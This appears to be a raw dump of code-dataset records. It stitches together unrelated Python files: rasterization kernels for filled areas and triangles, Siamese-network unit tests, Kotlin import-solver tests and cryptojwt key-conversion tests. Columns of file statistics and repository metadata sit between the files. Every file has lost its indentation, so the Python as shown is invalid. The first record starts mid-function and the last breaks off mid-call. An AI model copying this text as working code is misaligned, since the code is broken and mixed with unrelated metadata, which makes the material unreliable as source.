def extend_area(vt, bounds, xs, ys0, ys1, plot_start, *aggs_and_cols):
"""Aggregate filled area along a line formed by
``xs`` and ``ys``, filled to the y=0 line"""
stacked = True
xmaxi, ymaxi = map_onto_pixel(vt, bounds, bounds[1], bounds[3])
nrows = xs[0].shape[0]
ncols = len(xs)
orig_plot_start = plot_start
j = 0
while j < ncols:
plot_start = orig_plot_start
i = 0
while i < nrows - 1:
x0 = xs[j][i]
x1 = xs[j][i + 1]
y0 = ys0[j][i]
y1 = ys1[j][i]
y2 = ys1[j][i + 1]
y3 = ys0[j][i + 1]
x0, x1, y0, y1, y2, y3, skip, clipped, plot_start = \
_skip_or_clip_trapezoid_y(
x0, x1, y0, y1, y2, y3, bounds, plot_start)
if not skip:
x0i, y0i = map_onto_pixel(vt, bounds, x0, y0)
_, y1i = map_onto_pixel(vt, bounds, x0, y1)
_, y2i = map_onto_pixel(vt, bounds, x1, y2)
x1i, y3i = map_onto_pixel(vt, bounds, x1, y3)
draw_trapezoid_y(x0i, x1i, y0i, y1i, y2i, y3i, xmaxi,
ymaxi,
i, plot_start, clipped, stacked,
*aggs_and_cols)
plot_start = False
i += 1
j += 1
return extend_area
def _build_extend_area_to_zero_axis1_none_constant(draw_trapezoid_y, map_onto_pixel):
@ngjit
def extend_area(vt, bounds, xs, ys, plot_start, *aggs_and_cols):
"""Aggregate filled area along a line formed by
``xs`` and ``ys``, filled to the y=0 line"""
stacked = False
xmaxi, ymaxi = map_onto_pixel(vt, bounds, bounds[1], bounds[3])
nrows = xs[0].shape[0]
ncols = len(xs)
i = 0
while i < nrows:
plot_start = True
j = 0
while j < ncols - 1:
x0 = xs[j][i]
x1 = xs[j + 1][i]
y0 = ys[j][i]
y1 = 0.0
y2 = 0.0
y3 = ys[j + 1][i]
x0, x1, y0, y1, y2, y3, skip, clipped, plot_start = \
_skip_or_clip_trapezoid_y(
x0, x1, y0, y1, y2, y3, bounds, plot_start)
if not skip:
x0i, y0i = map_onto_pixel(vt, bounds, x0, y0)
_, y1i = map_onto_pixel(vt, bounds, x0, y1)
y2i = y1i
x1i, y3i = map_onto_pixel(vt, bounds, x1, y3)
draw_trapezoid_y(x0i, x1i, y0i, y1i, y2i, y3i, xmaxi, ymaxi,
i, plot_start, clipped, stacked,
*aggs_and_cols)
plot_start = False
j += 1
i += 1
return extend_area
def _build_extend_area_to_line_axis1_none_constant(draw_trapezoid_y, map_onto_pixel):
@ngjit
def extend_area(vt, bounds, xs, ys0, ys1, plot_start, *aggs_and_cols):
"""Aggregate filled area along a line formed by
``xs`` and ``ys``, filled to the y=0 line"""
stacked = True
xmaxi, ymaxi = map_onto_pixel(vt, bounds, bounds[1], bounds[3])
nrows = xs[0].shape[0]
ncols = len(xs)
i = 0
while i < nrows:
plot_start = True
j = 0
while j < ncols - 1:
x0 = xs[j][i]
x1 = xs[j + 1][i]
y0 = ys0[j][i]
y1 = ys1[j][i]
y2 = ys1[j + 1][i]
y3 = ys0[j + 1][i]
x0, x1, y0, y1, y2, y3, skip, clipped, plot_start = \
_skip_or_clip_trapezoid_y(
x0, x1, y0, y1, y2, y3, bounds, plot_start)
if not skip:
x0i, y0i = map_onto_pixel(vt, bounds, x0, y0)
_, y1i = map_onto_pixel(vt, bounds, x0, y1)
_, y2i = map_onto_pixel(vt, bounds, x1, y2)
x1i, y3i = map_onto_pixel(vt, bounds, x1, y3)
draw_trapezoid_y(x0i, x1i, y0i, y1i, y2i, y3i, xmaxi, ymaxi,
i, plot_start, clipped, stacked,
*aggs_and_cols)
plot_start = False
j += 1
i += 1
return extend_area
def _build_extend_area_to_zero_axis1_x_constant(draw_trapezoid_y, map_onto_pixel):
@ngjit
def extend_area(vt, bounds, xs, ys, plot_start, *aggs_and_cols):
"""Aggregate filled area along a line formed by
``xs`` and ``ys``, filled to the y=0 line"""
stacked = False
xmaxi, ymaxi = map_onto_pixel(vt, bounds, bounds[1], bounds[3])
nrows = ys[0].shape[0]
ncols = len(ys)
i = 0
while i < nrows:
plot_start = True
j = 0
while j < ncols - 1:
x0 = xs[j]
x1 = xs[j + 1]
y0 = ys[j][i]
y1 = 0.0
y2 = 0.0
y3 = ys[j + 1][i]
x0, x1, y0, y1, y2, y3, skip, clipped, plot_start = \
_skip_or_clip_trapezoid_y(
x0, x1, y0, y1, y2, y3, bounds, plot_start)
if not skip:
x0i, y0i = map_onto_pixel(vt, bounds, x0, y0)
_, y1i = map_onto_pixel(vt, bounds, x0, y1)
y2i = y1i
x1i, y3i = map_onto_pixel(vt, bounds, x1, y3)
draw_trapezoid_y(x0i, x1i, y0i, y1i, y2i, y3i, xmaxi, ymaxi,
i, plot_start, clipped, stacked,
*aggs_and_cols)
plot_start = False
j += 1
i += 1
return extend_area
def _build_extend_area_to_line_axis1_x_constant(draw_trapezoid_y, map_onto_pixel):
@ngjit
def extend_area(vt, bounds, xs, ys0, ys1, plot_start, *aggs_and_cols):
"""Aggregate filled area along a line formed by
``xs`` and ``ys``, filled to the y=0 line"""
stacked = False
xmaxi, ymaxi = map_onto_pixel(vt, bounds, bounds[1], bounds[3])
nrows = ys0[0].shape[0]
ncols = len(ys0)
i = 0
while i < nrows:
plot_start = True
j = 0
while j < ncols - 1:
x0 = xs[j]
x1 = xs[j + 1]
y0 = ys0[j][i]
y1 = ys1[j][i]
y2 = ys1[j + 1][i]
y3 = ys0[j + 1][i]
x0, x1, y0, y1, y2, y3, skip, clipped, plot_start = \
_skip_or_clip_trapezoid_y(
x0, x1, y0, y1, y2, y3, bounds, plot_start)
if not skip:
x0i, y0i = map_onto_pixel(vt, bounds, x0, y0)
_, y1i = map_onto_pixel(vt, bounds, x0, y1)
_, y2i = map_onto_pixel(vt, bounds, x1, y2)
x1i, y3i = map_onto_pixel(vt, bounds, x1, y3)
draw_trapezoid_y(x0i, x1i, y0i, y1i, y2i, y3i, xmaxi, ymaxi,
i, plot_start, clipped, stacked,
*aggs_and_cols)
plot_start = False
j += 1
i += 1
return extend_area
def _build_extend_area_to_zero_axis1_y_constant(draw_trapezoid_y, map_onto_pixel):
@ngjit
def extend_area(vt, bounds, xs, ys, plot_start, *aggs_and_cols):
"""Aggregate filled area along a line formed by
``xs`` and ``ys``, filled to the y=0 line"""
stacked = False
xmaxi, ymaxi = map_onto_pixel(vt, bounds, bounds[1], bounds[3])
nrows = xs[0].shape[0]
ncols = len(xs)
i = 0
while i < nrows:
plot_start = True
j = 0
while j < ncols - 1:
x0 = xs[j][i]
x1 = xs[j + 1][i]
y0 = ys[j]
y1 = 0.0
y2 = 0.0
y3 = ys[j + 1]
x0, x1, y0, y1, y2, y3, skip, clipped, plot_start = \
_skip_or_clip_trapezoid_y(
x0, x1, y0, y1, y2, y3, bounds, plot_start)
if not skip:
x0i, y0i = map_onto_pixel(vt, bounds, x0, y0)
_, y1i = map_onto_pixel(vt, bounds, x0, y1)
y2i = y1i
x1i, y3i = map_onto_pixel(vt, bounds, x1, y3)
draw_trapezoid_y(x0i, x1i, y0i, y1i, y2i, y3i, xmaxi, ymaxi,
i, plot_start, clipped, stacked,
*aggs_and_cols)
plot_start = False
j += 1
i += 1
return extend_area
def _build_extend_area_to_line_axis1_y_constant(draw_trapezoid_y, map_onto_pixel):
@ngjit
def extend_area(vt, bounds, xs, ys0, ys1, plot_start, *aggs_and_cols):
"""Aggregate filled area along a line formed by
``xs`` and ``ys``, filled to the y=0 line"""
stacked = True
xmaxi, ymaxi = map_onto_pixel(vt, bounds, bounds[1], bounds[3])
nrows = xs[0].shape[0]
ncols = len(xs)
i = 0
while i < nrows:
plot_start = True
j = 0
while j < ncols - 1:
x0 = xs[j][i]
x1 = xs[j + 1][i]
y0 = ys0[j]
y1 = ys1[j]
y2 = ys1[j + 1]
y3 = ys0[j + 1]
x0, x1, y0, y1, y2, y3, skip, clipped, plot_start = \
_skip_or_clip_trapezoid_y(
x0, x1, y0, y1, y2, y3, bounds, plot_start)
if not skip:
x0i, y0i = map_onto_pixel(vt, bounds, x0, y0)
_, y1i = map_onto_pixel(vt, bounds, x0, y1)
_, y2i = map_onto_pixel(vt, bounds, x1, y2)
x1i, y3i = map_onto_pixel(vt, bounds, x1, y3)
draw_trapezoid_y(x0i, x1i, y0i, y1i, y2i, y3i, xmaxi, ymaxi,
i, plot_start, clipped, stacked,
*aggs_and_cols)
plot_start = False
j += 1
i += 1
return extend_area
def _build_extend_area_to_zero_axis1_ragged(draw_trapezoid_y, map_onto_pixel):
def extend_line(vt, bounds, xs, ys, plot_start, *aggs_and_cols):
x_start_indices = xs.start_indices
x_flat_array = xs.flat_array
y_start_indices = ys.start_indices
y_flat_array = ys.flat_array
perform_extend_area_to_zero_axis1_ragged(
vt, bounds, x_start_indices, x_flat_array,
y_start_indices, y_flat_array, plot_start, *aggs_and_cols)
@ngjit
def perform_extend_area_to_zero_axis1_ragged(
vt, bounds, x_start_indices, x_flat_array,
y_start_indices, y_flat_array, plot_start, *aggs_and_cols):
stacked = False
xmaxi, ymaxi = map_onto_pixel(vt, bounds, bounds[1], bounds[3])
nrows = len(x_start_indices)
x_flat_len = len(x_flat_array)
y_flat_len = len(y_flat_array)
i = 0
while i < nrows:
plot_start = True
# Get x index range
x_start_index = x_start_indices[i]
x_stop_index = (x_start_indices[i + 1]
if i < nrows - 1
else x_flat_len)
# Get y index range
y_start_index = y_start_indices[i]
y_stop_index = (y_start_indices[i + 1]
if i < nrows - 1
else y_flat_len)
# Find line segment length as shorter of the two segments
segment_len = min(x_stop_index - x_start_index,
y_stop_index - y_start_index)
j = 0
while j < segment_len - 1:
x0 = x_flat_array[x_start_index + j]
x1 = x_flat_array[x_start_index + j + 1]
y0 = y_flat_array[y_start_index + j]
y1 = 0.0
y2 = 0.0
y3 = y_flat_array[y_start_index + j + 1]
x0, x1, y0, y1, y2, y3, skip, clipped, plot_start = \
_skip_or_clip_trapezoid_y(
x0, x1, y0, y1, y2, y3, bounds, plot_start)
if not skip:
x0i, y0i = map_onto_pixel(vt, bounds, x0, y0)
_, y1i = map_onto_pixel(vt, bounds, x0, y1)
y2i = y1i
x1i, y3i = map_onto_pixel(vt, bounds, x1, y3)
draw_trapezoid_y(
x0i, x1i, y0i, y1i, y2i, y3i, xmaxi, ymaxi,
i, plot_start, clipped, stacked, *aggs_and_cols)
plot_start = False
j += 1
i += 1
return extend_line
def _build_extend_area_to_line_axis1_ragged(draw_trapezoid_y, map_onto_pixel):
def extend_line(vt, bounds, xs, ys0, ys1, plot_start, *aggs_and_cols):
x_start_indices = xs.start_indices
x_flat_array = xs.flat_array
y0_start_indices = ys0.start_indices
y0_flat_array = ys0.flat_array
y1_start_indices = ys1.start_indices
y1_flat_array = ys1.flat_array
perform_extend_area_to_line_axis1_ragged(
vt, bounds, x_start_indices, x_flat_array,
y0_start_indices, y0_flat_array, y1_start_indices, y1_flat_array,
plot_start, *aggs_and_cols)
@ngjit
def perform_extend_area_to_line_axis1_ragged(
vt, bounds, x_start_indices, x_flat_array,
y0_start_indices, y0_flat_array, y1_start_indices, y1_flat_array,
plot_start, *aggs_and_cols):
stacked = True
xmaxi, ymaxi = map_onto_pixel(vt, bounds, bounds[1], bounds[3])
nrows = len(x_start_indices)
x_flat_len = len(x_flat_array)
y0_flat_len = len(y0_flat_array)
y1_flat_len = len(y1_flat_array)
i = 0
while i < nrows:
plot_start = True
# Get x index range
x_start_index = x_start_indices[i]
x_stop_index = (x_start_indices[i + 1]
if i < nrows - 1
else x_flat_len)
# Get y index range
y0_start_index = y0_start_indices[i]
y0_stop_index = (y0_start_indices[i + 1]
if i < nrows - 1
else y0_flat_len)
y1_start_index = y1_start_indices[i]
y1_stop_index = (y1_start_indices[i + 1]
if i < nrows - 1
else y1_flat_len)
# Find line segment length as shorter of the two segments
segment_len = min(x_stop_index - x_start_index,
y0_stop_index - y0_start_index,
y1_stop_index - y1_start_index)
j = 0
while j < segment_len - 1:
x0 = x_flat_array[x_start_index + j]
x1 = x_flat_array[x_start_index + j + 1]
y0 = y0_flat_array[y0_start_index + j]
y1 = y1_flat_array[y1_start_index + j]
y2 = y1_flat_array[y1_start_index + j + 1]
y3 = y0_flat_array[y0_start_index + j + 1]
x0, x1, y0, y1, y2, y3, skip, clipped, plot_start = \
_skip_or_clip_trapezoid_y(
x0, x1, y0, y1, y2, y3, bounds, plot_start)
if not skip:
x0i, y0i = map_onto_pixel(vt, bounds, x0, y0)
_, y1i = map_onto_pixel(vt, bounds, x0, y1)
_, y2i = map_onto_pixel(vt, bounds, x1, y2)
x1i, y3i = map_onto_pixel(vt, bounds, x1, y3)
draw_trapezoid_y(
x0i, x1i, y0i, y1i, y2i, y3i, xmaxi, ymaxi,
i, plot_start, clipped, stacked, *aggs_and_cols)
plot_start = False
j += 1
i += 1
return extend_line
def _build_draw_triangle(append):
"""Specialize a triangle plotting kernel for a given append/axis combination"""
@ngjit
def edge_func(ax, ay, bx, by, cx, cy):
return (cx - ax) * (by - ay) - (cy - ay) * (bx - ax)
@ngjit
def draw_triangle_interp(verts, bbox, biases, aggs, weights):
"""Same as `draw_triangle()`, but with weights interpolated from vertex
values.
"""
minx, maxx, miny, maxy = bbox
w0, w1, w2 = weights
if minx == maxx and miny == maxy:
# Subpixel case; area == 0
append(minx, miny, aggs, (w0 + w1 + w2) / 3)
else:
(ax, ay), (bx, by), (cx, cy) = verts
bias0, bias1, bias2 = biases
area = edge_func(ax, ay, bx, by, cx, cy)
for j in range(miny, maxy+1):
for i in range(minx, maxx+1):
g2 = edge_func(ax, ay, bx, by, i, j)
g0 = edge_func(bx, by, cx, cy, i, j)
g1 = edge_func(cx, cy, ax, ay, i, j)
if ((g2 + bias0) | (g0 + bias1) | (g1 + bias2)) >= 0:
interp_res = (g0 * w0 + g1 * w1 + g2 * w2) / area
append(i, j, aggs, interp_res)
@ngjit
def draw_triangle(verts, bbox, biases, aggs, val):
"""Draw a triangle on a grid.
Plots a triangle with integer coordinates onto a pixel grid,
clipping to the bounds. The vertices are assumed to have
already been scaled and transformed.
"""
minx, maxx, miny, maxy = bbox
if minx == maxx and miny == maxy:
# Subpixel case; area == 0
append(minx, miny, aggs, val)
else:
(ax, ay), (bx, by), (cx, cy) = verts
bias0, bias1, bias2 = biases
for j in range(miny, maxy+1):
for i in range(minx, maxx+1):
if ((edge_func(ax, ay, bx, by, i, j) + bias0) >= 0 and
(edge_func(bx, by, cx, cy, i, j) + bias1) >= 0 and
(edge_func(cx, cy, ax, ay, i, j) + bias2) >= 0):
append(i, j, aggs, val)
return draw_triangle, draw_triangle_interp
def _build_extend_triangles(draw_triangle, draw_triangle_interp, map_onto_pixel):
@ngjit
def extend_triangles(vt, bounds, verts, weight_type, interpolate, aggs, cols):
"""Aggregate along an array of triangles formed by arrays of CW
vertices. Each row corresponds to a single triangle definition.
`weight_type == True` means "weights are on vertices"
"""
xmin, xmax, ymin, ymax = bounds
cmax_x, cmax_y = max(xmin, xmax), max(ymin, ymax)
cmin_x, cmin_y = min(xmin, xmax), min(ymin, ymax)
vmax_x, vmax_y = map_onto_pixel(vt, bounds, cmax_x, cmax_y)
vmin_x, vmin_y = map_onto_pixel(vt, bounds, cmin_x, cmin_y)
col = cols[0] # Only aggregate over one column, for now
n_tris = verts.shape[0]
for n in range(0, n_tris, 3):
a = verts[n]
b = verts[n+1]
c = verts[n+2]
axn, ayn = a[0], a[1]
bxn, byn = b[0], b[1]
cxn, cyn = c[0], c[1]
col0, col1, col2 = col[n], col[n+1], col[n+2]
# Map triangle vertices onto pixels
ax, ay = map_onto_pixel(vt, bounds, axn, ayn)
bx, by = map_onto_pixel(vt, bounds, bxn, byn)
cx, cy = map_onto_pixel(vt, bounds, cxn, cyn)
# Get bounding box
minx = min(ax, bx, cx)
maxx = max(ax, bx, cx)
miny = min(ay, by, cy)
maxy = max(ay, by, cy)
# Skip any further processing of triangles outside of viewing area
if (minx >= vmax_x or
maxx < vmin_x or
miny >= vmax_y or
maxy < vmin_y):
continue
# Clip bbox to viewing area
minx = max(minx, vmin_x)
maxx = min(maxx, vmax_x)
miny = max(miny, vmin_y)
maxy = min(maxy, vmax_y)
# Prevent double-drawing edges.
# https://msdn.microsoft.com/en-us/library/windows/desktop/bb147314(v=vs.85).aspx
bias0, bias1, bias2 = -1, -1, -1
if ay < by or (by == ay and ax < bx):
bias0 = 0
if by < cy or (cy == by and bx < cx):
bias1 = 0
if cy < ay or (ay == cy and cx < ax):
bias2 = 0
bbox = minx, maxx, miny, maxy
biases = bias0, bias1, bias2
mapped_verts = (ax, ay), (bx, by), (cx, cy)
# draw triangles (will be clipped where outside bounds)
if interpolate:
weights = col0, col1, col2
draw_triangle_interp(mapped_verts, bbox, biases, aggs, weights)
else:
val = (col[n] + col[n+1] + col[n+2]) / 3
draw_triangle(mapped_verts, bbox, biases, aggs, val)
return extend_triangles
| 34.410221
| 103
| 0.547889
| 13,536
| 98,310
| 3.770464
| 0.045434
| 0.03086
| 0.036444
| 0.020025
| 0.824931
| 0.801066
| 0.794659
| 0.775771
| 0.762584
| 0.74781
| 0
| 0.02488
| 0.352406
| 98,310
| 2,856
| 104
| 34.422269
| 0.776769
| 0.121025
| 0
| 0.798755
| 0
| 0
| 0.015944
| 0
| 0
| 0
| 0
| 0
| 0.000519
| 1
| 0.108921
| false
| 0.001556
| 0.005187
| 0.01971
| 0.20332
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 1
| 1
| 1
| 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 7
|
2ea1c2771d75d99f10ea46213f8dedd7de261c86
| 2,993
|
py
|
Python
|
tests/dualing/models/test_contrastive.py
|
gugarosa/dualing
|
a625476946bded8e6c9211d83fe79dc16b3d8f16
|
[
"Apache-2.0"
] | 2
|
2020-08-03T08:02:48.000Z
|
2020-11-21T04:11:45.000Z
|
tests/dualing/models/test_contrastive.py
|
gugarosa/dualing
|
a625476946bded8e6c9211d83fe79dc16b3d8f16
|
[
"Apache-2.0"
] | 1
|
2020-09-29T12:58:33.000Z
|
2020-09-29T12:58:33.000Z
|
tests/dualing/models/test_contrastive.py
|
gugarosa/dualing
|
a625476946bded8e6c9211d83fe79dc16b3d8f16
|
[
"Apache-2.0"
] | null | null | null |
import tensorflow as tf
from dualing.datasets import pair
from dualing.models import contrastive
from dualing.models.base import mlp
def test_contrastive():
new_base = mlp.Base()
new_siamese = contrastive.ContrastiveSiamese(new_base)
def test_contrastive_margin():
new_base = mlp.Base()
new_siamese = contrastive.ContrastiveSiamese(new_base)
assert new_siamese.margin == 1.0
def test_contrastive_margin_setter():
new_base = mlp.Base()
new_siamese = contrastive.ContrastiveSiamese(new_base)
try:
new_siamese.margin = -1
except:
new_siamese.margin = 1.0
assert new_siamese.margin == 1.0
def test_contrastive_distance():
new_base = mlp.Base()
new_siamese = contrastive.ContrastiveSiamese(new_base)
assert new_siamese.distance == 'L2'
def test_contrastive_distance_setter():
new_base = mlp.Base()
new_siamese = contrastive.ContrastiveSiamese(new_base)
try:
new_siamese.distance = 'a'
except:
new_siamese.distance == 'L2'
assert new_siamese.distance == 'L2'
def test_contrastive_step():
(x, y), (_, _) = tf.keras.datasets.mnist.load_data()
train = pair.BalancedPairDataset(
x, y, n_pairs=10, input_shape=(x.shape[0], 784))
new_base = mlp.MLP()
new_siamese = contrastive.ContrastiveSiamese(new_base)
new_siamese.compile(optimizer=tf.optimizers.Adam(learning_rate=0.001))
x1 = tf.ones((1, 784))
x2 = tf.ones((1, 784))
y = tf.zeros(1)
new_siamese.step(x1, x2, y)
def test_contrastive_fit():
(x, y), (_, _) = tf.keras.datasets.mnist.load_data()
train = pair.BalancedPairDataset(
x, y, n_pairs=10, input_shape=(x.shape[0], 784))
new_base = mlp.MLP()
new_siamese = contrastive.ContrastiveSiamese(new_base)
new_siamese.compile(optimizer=tf.optimizers.Adam(learning_rate=0.001))
new_siamese.fit(train.batches, epochs=1)
def test_contrastive_evaluate():
(x, y), (_, _) = tf.keras.datasets.mnist.load_data()
train = pair.BalancedPairDataset(
x, y, n_pairs=10, input_shape=(x.shape[0], 784))
new_base = mlp.MLP()
new_siamese = contrastive.ContrastiveSiamese(new_base)
new_siamese.compile(optimizer=tf.optimizers.Adam(learning_rate=0.001))
new_siamese.fit(train.batches, epochs=1)
new_siamese.evaluate(train.batches)
def test_contrastive_predict():
(x, y), (_, _) = tf.keras.datasets.mnist.load_data()
train = pair.BalancedPairDataset(
x, y, n_pairs=10, input_shape=(x.shape[0], 784))
new_base = mlp.MLP()
new_siamese = contrastive.ContrastiveSiamese(new_base)
new_siamese.compile(optimizer=tf.optimizers.Adam(learning_rate=0.001))
new_siamese.fit(train.batches, epochs=1)
x1 = tf.ones((1, 784))
x2 = tf.ones((1, 784))
new_siamese.distance = 'L1'
new_siamese.predict(x1, x2)
new_siamese.distance = 'L2'
new_siamese.predict(x1, x2)
new_siamese.distance = 'angular'
new_siamese.predict(x1, x2)
| 26.254386
| 74
| 0.692282
| 405
| 2,993
| 4.88642
| 0.148148
| 0.161698
| 0.08186
| 0.177362
| 0.803941
| 0.784234
| 0.784234
| 0.784234
| 0.708439
| 0.674078
| 0
| 0.034272
| 0.181089
| 2,993
| 113
| 75
| 26.486726
| 0.773154
| 0
| 0
| 0.693333
| 0
| 0
| 0.006014
| 0
| 0
| 0
| 0
| 0
| 0.053333
| 1
| 0.12
| false
| 0
| 0.053333
| 0
| 0.173333
| 0
| 0
| 0
| 0
| null | 0
| 0
| 1
| 1
| 1
| 1
| 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 7
|
2ea30f7e1fadf6468e68148bd8f89d06490e211c
| 5,542
|
py
|
Python
|
tests/_kotlin_imports_test.py
|
xgouchet/AutoMergeTool
|
d63c057440a99e868e5eb25720f8d89640112f04
|
[
"Apache-2.0"
] | 41
|
2017-04-10T10:12:32.000Z
|
2022-02-11T09:34:43.000Z
|
tests/_kotlin_imports_test.py
|
xgouchet/AutoMergeTool
|
d63c057440a99e868e5eb25720f8d89640112f04
|
[
"Apache-2.0"
] | 14
|
2017-02-17T09:58:57.000Z
|
2018-02-12T14:38:51.000Z
|
tests/_kotlin_imports_test.py
|
xgouchet/ArachneMergeTool
|
d63c057440a99e868e5eb25720f8d89640112f04
|
[
"Apache-2.0"
] | 5
|
2017-04-11T13:03:20.000Z
|
2021-06-23T08:41:10.000Z
|
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
import unittest
from automergetool.solvers.kotlin_imports import *
KI_PATH = 'tests/data/kotlin_imports/{0}.kt'
class SolverTest(unittest.TestCase):
def test_is_import(self):
"""Test matching imports"""
# Given a Kotlin Solver and imports
solver = KotlinImportSolver()
path = KI_PATH.format("imports_only")
with open(path) as f:
for line in f:
self.assertTrue(solver.is_import_line(line))
def test_is_not_import(self):
"""Test non matching imports"""
# Given a Kotlin Solver and imports
solver = KotlinImportSolver()
path = KI_PATH.format("no_imports")
with open(path) as f:
for line in f:
self.assertFalse(solver.is_import_line(line))
def test_compare_imports(self):
"""Test comparing kotlin imports"""
# Given a Kotlin Solver
solver = KotlinImportSolver()
fake_import = "import java.io.File"
other_fake_import = " import java .\t io.File ;"
# When handling the conflict
same = solver.are_imports_the_same(fake_import, other_fake_import)
incompatible = solver.are_imports_incompatible(fake_import, other_fake_import)
# Then check the comparison
self.assertTrue(same)
self.assertFalse(incompatible)
def test_compare_different_imports(self):
"""Test comparing kotlin imports"""
# Given a Kotlin Solver
solver = KotlinImportSolver()
fake_import = " import java.util.ArrayList;"
other_fake_import = "import\t java \t.util . LinkedList ;"
# When handling the conflict
same = solver.are_imports_the_same(fake_import, other_fake_import)
# Then check the comparison
self.assertFalse(same)
def test_compare_renamed_imports(self):
"""Test comparing kotlin imports"""
# Given a Kotlin Solver
solver = KotlinImportSolver()
fake_import = " import java.util.ArrayList as AList"
other_fake_import = "import \t java . util. ArrayList \tas AList ; "
# When handling the conflict
same = solver.are_imports_the_same(fake_import, other_fake_import)
incompatible = solver.are_imports_incompatible(fake_import, other_fake_import)
# Then check the comparison
self.assertTrue(same)
self.assertFalse(incompatible)
def test_compare_differently_renamed_imports(self):
"""Test comparing kotlin imports"""
# Given a Kotlin Solver
solver = KotlinImportSolver()
fake_import = "import java.lang.annotation.Retention as JRetention"
other_fake_import = "import \t java\t.lang.annotation. Retention as JavaRetention "
# When handling the conflict
same = solver.are_imports_the_same(fake_import, other_fake_import)
incompatible = solver.are_imports_incompatible(fake_import, other_fake_import)
# Then check the comparison
self.assertTrue(same)
self.assertTrue(incompatible)
def test_compare_different_renamed_imports(self):
"""Test comparing kotlin imports"""
# Given a Kotlin Solver
solver = KotlinImportSolver()
fake_import = "import java.lang.annotation.Retention as JRetention"
other_fake_import = " import java.util.ArrayList as AList"
# When handling the conflict
same = solver.are_imports_the_same(fake_import, other_fake_import)
# Then check the comparison
self.assertFalse(same)
def test_compare_samely_renamed_different_imports(self):
"""Test comparing kotlin imports"""
# Given a Kotlin Solver
solver = KotlinImportSolver()
fake_import = "import java.lang.annotation.Retention as JR"
other_fake_import = " import java.util.Runnable as JR"
# When handling the conflict
with self.assertRaises(RuntimeError):
same = solver.are_imports_the_same(fake_import, other_fake_import)
# noinspection PyUnresolvedReferences
def test_path_arguments_shorts(self):
# Given
b = "b"
l = "l"
r = "r"
m = "m"
# When
parsed = parse_arguments(['-b', b, '-m', m, '-l', l, '-r', r])
self.assertEqual(parsed.base, b)
self.assertEqual(parsed.local, l)
self.assertEqual(parsed.remote, r)
self.assertEqual(parsed.merged, m)
# noinspection PyUnresolvedReferences
def test_path_arguments_long(self):
# Given
b = "b"
l = "l"
r = "r"
m = "m"
# When
parsed = parse_arguments(['--base', b, '--merged', m, '--local', l, '--remote', r])
self.assertEqual(parsed.base, b)
self.assertEqual(parsed.local, l)
self.assertEqual(parsed.remote, r)
self.assertEqual(parsed.merged, m)
def test_missing_arguments(self):
b = "b"
l = "l"
r = "r"
m = "m"
with self.assertRaises(SystemExit) as context:
parse_arguments(['--base', b, '--merged', m, '--remote', r])
def test_unknown_argument(self):
b = "b"
l = "l"
r = "r"
m = "m"
with self.assertRaises(SystemExit) as context:
parse_arguments(
['--base', b, '--merged', m, '--local', l, '--remote', r, '--kamoulox', '-p'])
if __name__ == '__main__':
unittest.main()
| 32.6
| 95
| 0.622699
| 637
| 5,542
| 5.216641
| 0.171115
| 0.09028
| 0.06771
| 0.054168
| 0.842913
| 0.824857
| 0.775805
| 0.74842
| 0.740596
| 0.740596
| 0
| 0.000749
| 0.276976
| 5,542
| 169
| 96
| 32.792899
| 0.82855
| 0.154637
| 0
| 0.589474
| 0
| 0
| 0.149848
| 0.031399
| 0
| 0
| 0
| 0
| 0.221053
| 1
| 0.126316
| false
| 0
| 0.463158
| 0
| 0.6
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 1
| 1
| 1
| 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
|
0
| 7
|
2eb46feba1cf1caf47592618fcaefe095d6850a0
| 3,309
|
py
|
Python
|
tests/test_30_tools.py
|
openid/JWTConnect-Python-CryptoJWT
|
ec79b98f62f033afc596a4be5229a0ded4ee771b
|
[
"Apache-2.0"
] | 4
|
2018-10-02T14:47:43.000Z
|
2019-09-12T02:53:46.000Z
|
tests/test_30_tools.py
|
IdentityPython/JWTConnect-Python-CryptoJWT
|
a7dd24f07e7bab2ce2580d7111340cc753a965c0
|
[
"Apache-2.0"
] | 67
|
2020-01-23T17:33:56.000Z
|
2022-03-26T17:58:33.000Z
|
tests/test_30_tools.py
|
openid/JWTConnect-Python-CryptoJWT
|
ec79b98f62f033afc596a4be5229a0ded4ee771b
|
[
"Apache-2.0"
] | 5
|
2018-06-22T07:08:28.000Z
|
2019-12-20T09:57:03.000Z
|
import json
import os
from cryptojwt.jwk import JWK
from cryptojwt.jwx import key_from_jwk_dict
from cryptojwt.tools import keyconv as keyconv
BASEDIR = os.path.abspath(os.path.dirname(__file__))
def jwk_from_file(filename: str, private: bool = True) -> JWK:
"""Read JWK from file"""
with open(filename, mode="rt") as input_file:
jwk_dict = json.loads(input_file.read())
return key_from_jwk_dict(jwk_dict, private=private)
def convert_rsa_pem2jwt(filename_jwk: str, filename_pem: str, private: bool):
k1 = jwk_from_file(filename=filename_jwk, private=private)
k2 = keyconv.pem2jwk(
filename=filename_pem, kid=k1.kid, kty="RSA", private=private, passphrase=""
)
if k1 != k2:
raise Exception("Keys differ")
def convert_ec_pem2jwt(filename_jwk: str, filename_pem: str, private: bool):
k1 = jwk_from_file(filename=filename_jwk, private=private)
k2 = keyconv.pem2jwk(
filename=filename_pem, kid=k1.kid, kty="EC", private=private, passphrase=""
)
if k1 != k2:
raise Exception("Keys differ")
def test_pem2rsa_public():
convert_rsa_pem2jwt(
BASEDIR + "/test_keys/rsa-1024.json",
BASEDIR + "/test_keys/rsa-1024-public.pem",
private=False,
)
convert_rsa_pem2jwt(
BASEDIR + "/test_keys/rsa-1280.json",
BASEDIR + "/test_keys/rsa-1280-public.pem",
private=False,
)
convert_rsa_pem2jwt(
BASEDIR + "/test_keys/rsa-2048.json",
BASEDIR + "/test_keys/rsa-2048-public.pem",
private=False,
)
convert_rsa_pem2jwt(
BASEDIR + "/test_keys/rsa-3072.json",
